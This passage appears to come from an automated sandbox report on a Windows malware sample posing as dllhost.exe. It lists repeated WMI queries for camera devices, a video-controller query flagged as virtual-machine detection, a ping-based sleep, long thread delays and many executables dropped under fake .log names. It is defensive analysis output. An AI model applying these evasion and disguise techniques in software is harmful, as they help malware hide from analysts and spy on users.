                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                              Uses ping.exe to sleep
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeMemory allocated: 2950000 memory reserve | memory write watchJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeMemory allocated: 1AB20000 memory reserve | memory write watchJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeMemory allocated: F80000 memory reserve | memory write watchJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeMemory allocated: 1ADB0000 memory reserve | memory write watchJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 600000Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 599859Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 598859Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 598421Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 598265Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 598015Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 597546Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 597062Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 596718Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 596421Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 596171Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 596000Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 594921Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 594718Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 594343Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 594093Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 593796Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 593515Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 593203Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 592765Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 591937Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 591593Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 591296Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 591071Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 590765Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 590390Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 590078Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 589593Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 589234Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 588996Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 588765Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 588375Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 588093Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587894Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587765Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 300000Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587656Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587535Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587406Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587296Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587181Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587062Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeWindow / User API: threadDelayed 5734Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeWindow / User API: threadDelayed 3952Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\PTahnXzX.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\RGKyyyvv.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\uOjtiFsK.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\AHMSLlxy.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\gsyeVgYo.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\FCNjSRns.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\iObdSlbK.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\sVUKwIHM.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\jzvnrySk.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\ypXSetlg.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\GzproQCn.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\sOBLQjau.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\PVfhrllC.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\VVaGAqXJ.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\kfPdycnc.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\wnljJKgl.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\TYzyfqIO.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\tCFTCxVs.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\hiGnLHFR.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\YwOfwePf.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\ygASuHSj.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\ZRcXHVNC.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\DOJbgDru.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\IYriOWqO.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\WJeOmDSH.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\QiIHXtHV.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\bYXvUFHb.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\hZjnbUmV.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\FdoRXWMY.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\UJxgUhAr.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\FnLRHIfV.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\KpfivNCg.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\XxiWXROF.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\eEtWkScq.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\HpyAdrkQ.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\tRHlMFdP.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\lQNLnUfF.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\onNmUvhY.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\QALqtMNE.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\haXUgXfM.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDropped PE file which has not been started: C:\Users\user\Desktop\vEsBXgan.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeDropped PE file which has not been started: C:\Users\user\Desktop\MRnySouc.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exe TID: 2676Thread sleep time: -922337203685477s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 6284Thread sleep time: -30000s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -2767011611056431s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -600000s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -599859s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -598859s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -598421s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4948Thread sleep time: -14400000s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -598265s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -598015s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -597546s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -597062s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -596718s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -596421s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -596171s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -596000s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -594921s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -594718s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -594343s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -594093s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -593796s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -593515s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -593203s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -592765s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -591937s >= -30000sJump to behavior
